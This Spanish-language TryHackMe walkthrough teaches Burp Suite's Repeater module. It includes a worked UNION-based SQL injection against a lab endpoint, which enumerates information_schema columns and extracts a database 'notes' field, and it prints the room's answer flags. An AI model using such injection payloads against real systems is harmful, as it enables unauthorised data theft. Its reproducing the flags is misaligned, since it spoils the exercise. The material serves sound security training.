El módulo Repeater de Burp Suite nos permite manipular y reenviar arbitrariamente peticiones capturadas.

Desplegamos la máquina objetivo y la máquina de ataque.

¿Qué es Repeater en Burp Suite?

El módulo Repeater nos permite construir o retransmitir peticiones interceptadas a voluntad.

En términos sencillos, significa que podemos coger una petición capturada en el Proxy de Burp, editarla y enviar la misma petición repetidamente las veces que queramos.

Podríamos construir estas peticiones a mano con herramientas como cURL, pero es más conveniente hacerlo con Burp, que nos provee de un interfaz gráfico y de poder ver la respuesta y resultados.

El interfaz de Repeater se puede dividir en 6 secciones principales:

  1. En la parte superior izquierda, tenemos una lista de las peticiones de Repeater. Cada vez que enviemos una a través de él, aparecerá aquí.
  2. Justo debajo de la lista de peticiones, tenemos los controles para la petición actual. Estos nos permiten enviarla, cancelar una que se ha quedado colgada e ir hacia adelante/atrás en el historial de peticiones.
  3. Todavía en la parte izquierda, ocupando casi toda la ventana, tenemos la vista de la petición y la respuesta. Editamos la petición en la vista Request y pulsamos enviar (send). La respuesta se mostrará en la vista de Response.
  4. Encima de la sección petición/respuesta, en la parte derecha, hay una serie de opciones que nos permiten cambiar la disposición de las vistas de petición y respuesta. Por defecto, aparecen una al lado de la otra en una disposición horizontal. Podemos ponerlas encima/debajo (disposición vertical) o en pestañas separadas (vista combinada o combined view).
  5. En la parte derecha de la ventana tenemos el Inspector, que nos permite diseccionar peticiones para analizar y editar de una manera algo más intuitiva que con el editor en crudo.
  6. Finalmente, sobre el inspector tenemos nuestro objetivo. Este es la IP o dominio al que le estaremos enviado peticiones. Cuando enviamos dichas peticiones a Repeater desde otras partes de Burp Suite, esto se rellenará automáticamente.

Secciones de Repeater

Uso básico de Repeater en Burp

Lo primero es que podemos construir peticiones a mano, pero será mucho más habitual capturar peticiones en el Proxy y enviarlas a Repeater para editar o reenviarlas.

Con una petición capturada, podemos hacer clic derecho y elegir «Send to Repeater» o pulsar Ctrl+R para enviarla.

Si, tras eso, nos vamos a la pantalla de Repeater, tendremos nuestra petición disponible.

Repeater con una petición capturada

El objetivo y el inspector de elementos nos muestran información. Sin embargo, todavía no tenemos una respuesta. Cuando hacemos clic en el botón «Send» de enviar, la sección de Respuesta se llena rápidamente con esta.

Respuesta a una petición de Repeater

Si queremos cambiar algo de la respuesta, simplemente escribimos en la ventana de petición Request y enviamos de nuevo pulsando en Send. Esto actualizará la respuesta en la parte derecha.

Por ejemplo, cambiando el encabezado «Connection» a open, en lugar de close, nos da una una respuesta de encabezado «Connection» con un valor keep-alive.

Petición modificada y respuesta)

Podemos usar también los botones de history a la derecha del botón Send para ir hacia adelante y hacia atrás en nuestro historial de modificaciones.

Como tarea, capturamos una petición de la IP objetivo y la enviamos a Repeater. Con ella, practicamos modificando y reenviando varias veces.

Hacer esto no tiene mucha ciencia. Ejecutamos Firefox en la máquina de ataque, que ya tiene Foxy Proxy configurado para funcionar con Burp. Visitamos la web y capturamos alguna cosa, como pinchar en un enlace o algo.

En el apartado de Proxy de Burp Suite, pulsamos Ctrl+R para enviar a Repeater (o usamos clic derecho y la opción adecuada). Ahí tenemos la petición, alteramos lo que sea y vemos cambios en la respuesta.

Vistas del módulo Repeater de Burp

Repeater ofrece varias maneras de presentar las respuestas a nuestras peticiones. Estas van desde salidas hexadecimales hasta versiones completamente renderizadas de la página.

Podemos ver las opciones disponibles mirando encima de la caja de respuesta.

Opciones de visualización de la respuesta en Repeater

Las 4 opciones son:

  1. Pretty. La opción por defecto. Coge la respuesta en bruto (raw) y trata de embellecerla un poco, haciéndola más fácil de leer.
  2. Raw. La respuesta pura del servidor.
  3. Hex. Esta vista toma la respuesta bruta de antes y nos da una visión de byte. Es útil si la respuesta es un archivo binario.
  4. Render. Muestra la página como aparecería en el navegador. Aunque no es muy útil, ya que normalmente estaremos interesados en el código fuente cuando usemos Repeater, es un bonito truco.

La mayoría de veces, la opción Pretty es la que usaremos, pero está bien conocer las otras tres.

Justo a la derecha de los botones de vistas está el botón «Show non-printable characters». Este nos permite mostrar esos caracteres que, normalmente, no se mostrarían en las vistas Pretty o Raw. Por ejemplo, cada línea en la respuesta terminará con \r\n que significan un retorno de carro seguido de una nueva línea y son parte de cómo se interpretan los encabezados HTTP.

Aunque no se requiere para la mayoría de tareas, esta opción es interesante.

Vamos con las preguntas. La primera es experimentar con las opciones que hemos visto.

¿Qué opción de vista muestra la respuesta en el mismo formato que lo haría el navegador?

Render

El inspector de Repeater

En muchos aspectos, el Inspector es suplementario a los campos de Petición y Respuesta de la ventana de Repeater. Si entiendes cómo leer y editar peticiones HTTP, probablemente apenas usarás el Inspector.

Dicho esto, es una manera muy buena de obtener un desglose embellecido de las peticiones y respuestas, así como de experimentar para ver cómo los cambios hechos usando el Inspector de alto nivel afecta a las versiones equivalentes en bruto.

El Inspector puede usarse en Repeater y en Proxy. En ambos casos, aparece sobre la parte derecha de la ventana y nos da una lista de componentes en la petición y la respuesta.

Lista de componentes del Inspector de Burp en Repeater

De estos, las secciones de la petición casi siempre se pueden alterar, permitiendo añadir, editar y borrar cosas. Por ejemplo, en la sección «Request Attributes», podemos editar las partes de la petición que tienen que ver con la ubicación, método y protocolo. Así, podemos cambiar el recurso que tratamos de obtener, alterando la petición GET a otro método HTTP o cambiando el protocolo desde HTTP/1 a HTTP/2.

Cambiando parámetros en el Repeater de Burp

Las otras secciones disponibles para ver y/o editar son:

  • Query Parameters, que se refiere a los datos que están siendo enviados al servidor en la URL. Por ejemplo, en una petición GET a https://admin.tryhackme.com/?redirect=false hay un parámetro llamado redirect que tiene un valor false.
  • Body parameters, que hace lo mismo, pero para peticiones POST. Cualquier cosa se pueda enviar como datos en una petición POST aparecerá en esta sección, una vez más permitiéndonos modificar los parámetros antes de reenviar.
  • Request Cookies, que muestra una lista modificable de cookies que están siendo enviadas en cada respuesta.
  • Request Headers, que nos permite ver, acceder y modificar (incluyendo añadir y quitar) cualquiera de los encabezados que están siendo enviados con nuestras peticiones. Editar estos puede ser muy útil cuando intentemos ver cómo un servidor web responderá a encabezados inesperados.
  • Response Headers nos muestra los encabezados que el servidor envía de vuelta en la respuesta a las peticiones. Estos no pueden ser editados (ya que no podemos controlar lo que responde el servidor). Esta sección solo se muestra después de que hayamos enviado la petición y hayamos recibido la respuesta.

Estos componentes pueden encontrarse como texto dentro de las secciones petición y respuesta, en cambio, puede estar bien verlas en el formato tabular ofrecido por el inspector. Es interesante añadir, quitar y editar encabezados ahí para ver cómo cambia la versión en bruto cuando lo haces.

Ejemplo práctico

Repeater es adecuado para las tareas en las que necesitamos enviar la misma petición numerosas veces, normalmente con pequeños cambios entre peticiones.

Por ejemplo, queremos probar manualmente si hay una vulnerabilidad de inyección SQL, intentando traspasar un cortafuegos en la aplicación web o simplemente cambiar los parámetros de envío de un formulario.

Para la práctica, capturamos con el Proxy una petición a la web objetivo de la habitación y la enviamos a Repeater. En mi caso, la petición de la página Contact.

Vemos la respuesta con otras opciones, como por ejemplo, Render.

Usando el Inspector (o manualmente si lo preferimos), añadimos un encabezado llamado FlagAuthorised y le asignamos un valor True.

GET / HTTP/1.1
Host: 10.10.59.38
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
FlagAuthorised: True

Enviamos la petición. ¿Qué bandera recibimos?

THM{Yzg2MWI2ZDhlYzdlNGFiZTUzZTIzMzVi}

Desafío

Con nuestro proxy desactivado, nos vamos a la sección Products y hacemos clic en los enlaces «See More».

¿Podemos ver cómo nos redirige a un endpoint numérico (como /products/3) cuando hacemos clic para más detalles?

El endpoint necesita ser validado para asegurar que el número que tratas de navegar existe y es un entero válido. ¿Qué pasa si no es validado adecuadamente?

Capturamos una petición a uno de los endpoints numéricos de producto en el Proxy y lo enviamos a Repeater.

Ahora, tratamos de obtener un error 500 del servidor (error interno de dicho servidor), cambiando el número al final de la repetición por una petición a inputs extremos.

¿Cuál es la bandera que recibes al causar ese error 500?

Números altos y bajos traen un error 404 de vuelta. Poner una ñ nos da un error 400 de mala petición. Al final, poner un número negativo hace saltar un error 500.

La bandera aparece en el cuerpo de la respuesta.

THM{N2MzMzFhMTA1MmZiYjA2YWQ4M2ZmMzhl}

Inyección SQL con Repeater

Esta es una aplicación más realista.

En la máquina objetivo hay una vulnerabilidad de inyección SQL en el parámetro ID del endpoint /about/ID. Hemos de encontrarla y ejecutar un ataque para obtener las notas sobre el CEO guardadas en la base de datos.

Comencemos capturando una petición a http://IP_Objetivo/about/2 en el proxy de Burp. Una vez la tengamos, la enviamos a Repeater.

Confirmemos que la vulnerabilidad existe. Añadiendo un simple apóstrofo (') suele ser suficiente para causar un error del servidor cuando una vulnerabilidad SQLi está presente. Usando el inspector, añadimos eso tras el 2 y enviamos la petición.

GET /about/2' HTTP/1.1
Host: MACHINE_IP
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Veremos que el servidor responde con un error interno 500, indicando que hemos roto con éxito la petición.

HTTP/1.1 500 INTERNAL SERVER ERROR<
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 16 Aug 2021 23:05:21 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 3101

Si miramos en el cuerpo de la respuesta, vemos algo muy interesante alrededor de la línea 40. El servidor nos dice la petición que ha intentado ejecutar.

<h2>
    <code>Invalid statement: 
        <code>SELECT firstName, lastName, pfpLink, role, bio FROM people WHERE id = 2'</code>
    </code>
</h2>

Este es un mensaje de error muy útil que el servidor no debería estar enviándonos.

Nos dice un par de cosas muy valiosas para explotar esta vulnerabilidad.

  • La tabla de la base de datos que selecciona se llama people.
  • La petición selecciona 5 columnas de la tabla: firstName, lastName, pfpLink, role y bio, que podemos adivinar dónde encajan en la página, lo que será útil cuando elijamos dónde colocar nuestras respuestas.

Con esta información, podemos saltar sobre los pasos de nombre de tabla y número de columna.

Aunque hemos atajado un montón de enumeración, aún necesitamos encontrar el nombre de nuestra columna objetivo.

Como sabemos el nombre de la tabla y el número de filas, podemos usar una query unión para seleccionar los nombres de las columnas para la tabla people desde la tabla columns en la base de datos por defecto schema_database.

Una petición sencilla para esto es:

/about/0 UNION ALL SELECT column_name,null,null,null,null FROM information_schema.columns WHERE table_name="people"

Esto crea una union query y selecciona nuestro objetivo, más luego cuatro columnas nulas (para evitar que la petición dé error). Démonos cuenta de que también hemos cambiado el ID de 2 a 0. Seleccionando un ID no válido nos aseguramos de que no recupera nada con la petición original y legítima, esto significa que la primera fila devuelta desde la base de datos será nuestra respuesta deseada para la petición inyectada.

Mirando la respuesta que nos devuelve, podemos ver que el nombre de la primera columna, id, ha sido insertado en el título de la página.

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 16 Aug 2021 22:12:36 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Front-End-Https: on
Content-Length: 3360

<!DOCTYPE html>
<html lang=en>
    <head>
        <title>
            About | id None
        </title>

Hemos conseguido extraer el nombre de la primera columna de la base de datos, pero ahora tenemos un problema. La página solo muestra el primer objetivo que encaja, pero necesitamos ver todos los objetos que encajen.

Por suerte, podemos usar SQLi para agrupar los resultados. Podemos recuperar un solo resultado a la vez, pero usando la función group_concat(), podemos amalgamar todos los nombres de columnas en una sola respuesta.

/about/0 UNION ALL SELECT group_concat(column_name),null,null,null,null FROM information_schema.columns WHERE table_name="people"

Este proceso de muestra debajo:

Petición SQLi mediante Repeater

Hemos identificado con éxito ocho columnas en esta tabla: id, firstName, lastName, pfpLink, role, shortRole, bio, y notes.

Podemos intuir que, para lo que queremos, la columna objetivo es notes.

Por último, estamos preparados para tomar la bandera de esta base de datos, ya que tenemos toda la información que necesitamos.

  • El nombre de la tabla: people.
  • El nombre de la columna objetivo: notes.
  • El ID del CEO, que es 1, esto se puede saber haciendo clic en el perfil de Jameson Wolfe dentro de la página /about y mirando el ID en la URL.

Construimos la petición para extraer la bandera:

0 UNION ALL SELECT notes,null,null,null,null FROM people WHERE id = 1

Obteniendo la bandera con Repeater

¿Cuál es esa bandera? Seguimos los pasos uno a uno.

THM{ZGE3OTUyZGMyMzkwNjJmZjg3Mzk1NjJh}